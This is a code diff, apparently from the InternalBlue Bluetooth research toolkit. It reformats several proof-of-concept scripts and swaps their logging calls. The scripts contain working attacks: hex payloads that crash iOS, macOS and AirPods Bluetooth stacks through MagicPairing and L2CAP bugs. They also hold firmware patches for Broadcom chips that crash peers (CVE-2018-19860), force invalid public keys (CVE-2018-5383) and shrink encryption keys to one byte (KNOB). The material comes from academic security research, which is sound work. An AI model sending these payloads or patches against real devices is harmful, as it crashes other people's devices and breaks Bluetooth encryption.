self.cidHandlers[cid].append(handler)
|
||||
log.debug("Registered L2CAP handler for CID %d", cid)
|
||||
|
||||
|
||||
def _receptionHandler(self, data):
|
||||
if len(data) > 5:
|
||||
l2cap_data = data[5:]
|
||||
@@ -57,7 +57,6 @@ class L2CAPManager:
|
||||
|
||||
|
||||
class L2CAPSignalChannel:
|
||||
|
||||
def __init__(self, chanman):
|
||||
self.chanman = chanman
|
||||
self.chanman.registerCIDHandler(0x01, self._receptionHandler)
|
||||
|
||||
@@ -5,5 +5,5 @@ This folder contains the proof-of-concepts belonging to our WiSec paper
|
||||
|
||||
Run the `mp_pocs.py` script to try the PoCs. The script will interactively ask
|
||||
for the required information for each of the PoCs. It assumes a connected iOS
|
||||
device running InternalBlue. This can be changes by adopting the core to the
|
||||
device running InternalBlue. This can be changed by adopting the core to the
|
||||
desired one (i.e. for macOS `internalblue = macOSCore()`).
|
||||
@@ -1,105 +1,110 @@
|
||||
import binascii
|
||||
import sys
|
||||
import time
|
||||
import binascii
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
from BTConnection import BluetoothConnection
|
||||
import InternalBlueL2CAP
|
||||
from BTConnection import BluetoothConnection
|
||||
from pwnlib import log
|
||||
from pwnlib.ui import options
|
||||
|
||||
from internalblue.ioscore import iOSCore
|
||||
|
||||
VULNS = [{
|
||||
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP2]: iOS Hint Crash (0x1)",
|
||||
"tech": 0,
|
||||
"payload": "01020304050607",
|
||||
"cid": 0x30,
|
||||
"mtu": False
|
||||
}, {
|
||||
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP4]: macOS Hint Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
|
||||
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
|
||||
"tech": 0,
|
||||
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
|
||||
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
|
||||
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
|
||||
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
|
||||
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
|
||||
"343633343633333734363037343331373638f3a081b4323131343831" +
|
||||
"6c010104002b0100",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
|
||||
"tech": 0,
|
||||
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
|
||||
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
|
||||
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
|
||||
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
|
||||
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
|
||||
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
|
||||
"001274a8183334303238323336363932303933383436333436333337" +
|
||||
"34363037343331373638323131343536057f",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP7]: macOS Ratcheting Loop DoS",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAA00010400fffffff0",
|
||||
"cid": 0x30,
|
||||
"mtu": True,
|
||||
"addr_change": True
|
||||
}, {
|
||||
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
|
||||
}, {
|
||||
"description": "[L2CAP1]: AirPods L2CAP Crash",
|
||||
"tech": 0,
|
||||
"payload": "",
|
||||
"cid": 0x30,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
|
||||
"tech": 0,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
|
||||
"tech": 1,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}
|
||||
"description": "[MP1]: iOS RatchetAESSIV Crash (0xa8)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP2]: iOS Hint Crash (0x1)",
|
||||
"tech": 0,
|
||||
"payload": "01020304050607",
|
||||
"cid": 0x30,
|
||||
"mtu": False
|
||||
}, {
|
||||
"description": "[MP3]: macOS RatchetAESSIV Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAA001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP4]: macOS Hint Crash (0x0)",
|
||||
"tech": 0,
|
||||
"payload": "01010310001000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA20001000BB" +
|
||||
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0001040012345678",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP5]: iOS RatchetAESSIV Crash (0x10d)",
|
||||
"tech": 0,
|
||||
"payload": "02010b028000360091b51d14747835f3a0818f7de4434329b3d4e265" +
|
||||
"e5005b3f3ad5fdcaea6991b51d147478307de4434329b3d4e265e500" +
|
||||
"5b3f3ad5fdcaea6991b51d147478343239343936373239357de44343" +
|
||||
"29b3d4e265e5005b3f3ad5fdcaea6991a5580267a9a761bf4b046cf3" +
|
||||
"0e4f6147a1a06bb74b5702d6c0333430323832333636393230393338" +
|
||||
"343633343633333734363037343331373638f3a081b4323131343831" +
|
||||
"6c010104002b0100",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP6]: iOS RatchetAESSIV Assertion Failure Crash",
|
||||
"tech": 0,
|
||||
"payload": "02f3a081ae80002d330091b51d147478360104002b010000a393d231" +
|
||||
"31fe617878f69af4207d34323934393637333033e22775642f7fc1cd" +
|
||||
"9fdcddc89934dd39608afc6948b87ee0ef8968286341fd0515f98acd" +
|
||||
"5fb62f55f923887021a4ea8730cbaae05058b60f673c510a6170aa2e" +
|
||||
"cbdf1d142f763ef03f38d27c392ecdf1a574fdf906bcf74aa35da085" +
|
||||
"f137ddecff2aec0d5c95b8fa83a71b42af205359e4f02aaca2ab4778" +
|
||||
"001274a8183334303238323336363932303933383436333436333337" +
|
||||
"34363037343331373638323131343536057f",
|
||||
"cid": 0x30,
|
||||
"mtu": True
|
||||
}, {
|
||||
"description": "[MP7]: macOS Ratcheting Loop DoS",
|
||||
"tech": 0,
|
||||
"payload": "02010280003600AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +
|
||||
"AAAAAAAAAA00010400fffffff0",
|
||||
"cid": 0x30,
|
||||
"mtu": True,
|
||||
"addr_change": True
|
||||
}, {
|
||||
"description": "[MP8]: MagicPairing Lockout - NOT IMPLEMENTED HERE"
|
||||
}, {
|
||||
"description": "[L2CAP1]: AirPods L2CAP Crash",
|
||||
"tech": 0,
|
||||
"payload": "",
|
||||
"cid": 0x30,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (Classic Version)",
|
||||
"tech": 0,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}, {
|
||||
"description": "[L2CAP2]: Group Reception Handler NULL-Pointer Jump (BLE Version)",
|
||||
"tech": 1,
|
||||
"payload": "000001000200",
|
||||
"cid": 0x02,
|
||||
"mtu": False,
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
def listener(data):
|
||||
log.info("Listener received: %s", binascii.hexlify(data))
|
||||
|
||||
|
||||
def bd_addr_to_bytes(addr_string):
|
||||
addr = addr_string.replace(":", "")
|
||||
return bytes.fromhex(addr)
|
||||
|
||||
|
||||
def main():
|
||||
internalblue = iOSCore()
|
||||
|
||||
@@ -122,8 +127,8 @@ def main():
|
||||
|
||||
# if the vuln requires an address change, ask for the address
|
||||
if "addr_change" in vuln and vuln["addr_change"]:
|
||||
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
|
||||
"please provide it: ")
|
||||
change_addr = input("This PoC requires the Bluetooth address to be changed, " +
|
||||
"please provide it: ")
|
||||
change_addr = bd_addr_to_bytes(change_addr)
|
||||
internalblue.sendHciCommand(0xfc01, change_addr[::-1])
|
||||
|
||||
@@ -150,7 +155,7 @@ def main():
|
||||
l2cap.sendData(bytes.fromhex("F00000"), 0x30)
|
||||
|
||||
desc = vuln["description"]
|
||||
log.info("Executing payload for %s", desc[:desc.find("]")+1])
|
||||
log.info("Executing payload for %s", desc[:desc.find("]") + 1])
|
||||
if isinstance(vuln["payload"], list):
|
||||
for p in vuln["payload"]:
|
||||
l2cap.sendData(bytes.fromhex(p), vuln["cid"])
|
||||
@@ -160,5 +165,6 @@ def main():
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -3,21 +3,21 @@
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Nexus 5 for BLE connection events
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
from builtins import range
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.utils.packing import u16
|
||||
from pwnlib.asm import asm
|
||||
|
||||
internalblue = ADBCore(serial=False)
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
internalblue.logger.warning("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
"""
|
||||
# _connTaskRxDone has a Patchram position, Nexus 5 patches look so worse that I guess
|
||||
@@ -78,27 +78,26 @@ ASM_HOOKS = """
|
||||
// branch back to _connTaskRxDone + 4
|
||||
b 0x%x
|
||||
|
||||
""" % (RX_DONE_HOOK_ADDRESS+4)
|
||||
""" % (RX_DONE_HOOK_ADDRESS + 4)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
internalblue.logger.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# RXDN statistics callback variables
|
||||
internalblue.last_nesn_sn = None
|
||||
internalblue.last_success_event = None
|
||||
@@ -127,18 +126,18 @@ def lereceiveStatusCallback(record):
|
||||
|
||||
# !!! Nexus 5 has really outdated struct...
|
||||
packet_curr_nesn_sn = data[0xa0]
|
||||
packet_channel_map = data[0x4c:0x4c+38]
|
||||
packet_channel_map = data[0x4c:0x4c + 38]
|
||||
packet_channel = data[0x7b]
|
||||
packet_event_ctr = u16(data[0x86:0x88])
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
|
||||
|
||||
# currently only supported by eval board: check if we also went into the process payload routine,
|
||||
# which probably corresponds to a correct CRC
|
||||
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
|
||||
# log.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
|
||||
# TODO example for setting the channel map
|
||||
# timeout needs to be zero, because we are already in an event reception routine!
|
||||
@@ -159,18 +158,17 @@ def lereceiveStatusCallback(record):
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("Entering InternalBlue CLI to display statistics.")
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
|
||||
|
||||
# add RXDN callback
|
||||
internalblue.registerHciCallback(lereceiveStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
|
||||
from internalblue.utils.packing import p32
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
@@ -116,45 +114,45 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
|
||||
progress_log = internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
|
||||
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP 00 table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
|
||||
#progress_log = internalblue.logger.info("Installing predefined hook for LMP table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
|
||||
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
|
||||
#progress_log = internalblue.logger.info("Writing ASM snippet for LMP VSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
#log.info("Installing LMP VSC existence hook patch...")
|
||||
#internalblue.logger.info("Installing LMP VSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("Installing patch for VSC existence check failed!")
|
||||
internalblue.logger.critical("Installing patch for VSC existence check failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
internalblue.logger.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
internalblue.logger.info("------------------")
|
||||
internalblue.logger.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,16 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Dennis Mantz
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
#internalblue = core.InternalBlue()
|
||||
from pwnlib.asm import asm
|
||||
|
||||
internalblue = ADBCore()
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No ADB devices connected!")
|
||||
internalblue.logger.warning("No ADB devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
|
||||
@@ -66,56 +65,56 @@ generate:
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
if internalblue.fw.FW_NAME != "BCM4335C0":
|
||||
log.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
|
||||
log.info("It does not work on other firmwares (wrong offsets).")
|
||||
internalblue.logger.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
|
||||
internalblue.logger.info("It does not work on other firmwares (wrong offsets).")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patches...")
|
||||
log.info(" - Hook public key receive path to replace y-coordinate with zero")
|
||||
internalblue.logger.info("Installing hook patches...")
|
||||
internalblue.logger.info(" - Hook public key receive path to replace y-coordinate with zero")
|
||||
patch = asm("bl 0x%x" % HOOKS_LOCATION, vma=PK_RECV_HOOK_ADDRESS)
|
||||
if not internalblue.patchRom(PK_RECV_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for PK_recv failed!")
|
||||
internalblue.logger.critical("Installing patch for PK_recv failed!")
|
||||
exit(-1)
|
||||
|
||||
log.info(" - Hook public key send path to replace y-coordinate with zero")
|
||||
internalblue.logger.info(" - Hook public key send path to replace y-coordinate with zero")
|
||||
patch = asm("bl 0x%x" % (HOOKS_LOCATION+2), vma=PK_SEND_HOOK_ADDRESS)
|
||||
if not internalblue.patchRom(PK_SEND_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for PK_send failed!")
|
||||
internalblue.logger.critical("Installing patch for PK_send failed!")
|
||||
exit(-1)
|
||||
|
||||
log.info(" - Hook private key generation function to always produce even private key")
|
||||
internalblue.logger.info(" - Hook private key generation function to always produce even private key")
|
||||
# replace function sub_48E96 (generate random privkey) with a function
|
||||
# that generates an even privkey. needs 2 dword patches because of alignment:
|
||||
#00048EB8 20 A8 ADD R0, SP, #0x100+var_80
|
||||
#00048EBA FF F7 EC FF BL sub_48E96
|
||||
#00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
|
||||
# 00048EB8 20 A8 ADD R0, SP, #0x100+var_80
|
||||
# 00048EBA FF F7 EC FF BL sub_48E96
|
||||
# 00048EBE 25 98 LDR R0, [SP,#0x100+var_6C]
|
||||
patch = asm("bl 0x%x" % (HOOKS_LOCATION+4), vma=GEN_PRIV_KEY_ADDRESS)
|
||||
if not internalblue.patchRom(GEN_PRIV_KEY_ADDRESS, patch):
|
||||
log.critical("Installing patch for GEN_PRIV_KEY failed!")
|
||||
internalblue.logger.critical("Installing patch for GEN_PRIV_KEY failed!")
|
||||
exit(-1)
|
||||
|
||||
# Forcing the generation of a new keypair
|
||||
log.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
|
||||
internalblue.logger.info("Send HCI_Write_Simple_Pairing_Mode command to force generation of new key pair")
|
||||
|
||||
|
||||
# Done
|
||||
log.info("Done. The device is now ready.")
|
||||
log.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
|
||||
log.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
|
||||
log.info(" 2. Pair the Nexus 5 with the other BT device.")
|
||||
log.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
|
||||
log.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
|
||||
log.info(" If the other device is NOT vulnerable, pairing never succeeds.")
|
||||
log.info(" 4. After pairing was successful, check the LMP capture and verify that")
|
||||
log.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
|
||||
internalblue.logger.info("Done. The device is now ready.")
|
||||
internalblue.logger.info("Steps to verify if another BT device is vulnerable to CVE-2018-5383:")
|
||||
internalblue.logger.info(" 1. Start InternalBlue CLI for Nexus 5 and activate the LMP monitor.")
|
||||
internalblue.logger.info(" 2. Pair the Nexus 5 with the other BT device.")
|
||||
internalblue.logger.info(" 3. If pairing fails with message 'Incorrect PIN', repeat step 2.")
|
||||
internalblue.logger.info(" If the other device is vulnerable, pairing succeeds with 50% probability.")
|
||||
internalblue.logger.info(" If the other device is NOT vulnerable, pairing never succeeds.")
|
||||
internalblue.logger.info(" 4. After pairing was successful, check the LMP capture and verify that")
|
||||
internalblue.logger.info(" the Nexus 5 sent zero as y-coordinate in the 'encapsulated payload' packet")
|
||||
|
||||
+25
-26
@@ -1,13 +1,20 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
|
||||
from internalblue.utils.packing import p16, u16
|
||||
from internalblue.cli import auto_int
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from pwnlib.asm import asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -26,11 +33,11 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
|
||||
@@ -40,7 +47,7 @@ internalblue.patchRom(Address(0x5AED0), patch)
|
||||
internalblue.writeMem(0x203797, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
internalblue.logger.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
@@ -51,22 +58,15 @@ log.info("-----------------------KNOB-----------------------\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def do_knob(self, args):
|
||||
"""Introduce a new CLI command to make KNOB debugging easier..."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
return None
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
@@ -80,19 +80,18 @@ def hciKnobCallback(record):
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from pwnlib.asm import asm
|
||||
from binascii import unhexlify
|
||||
"""
|
||||
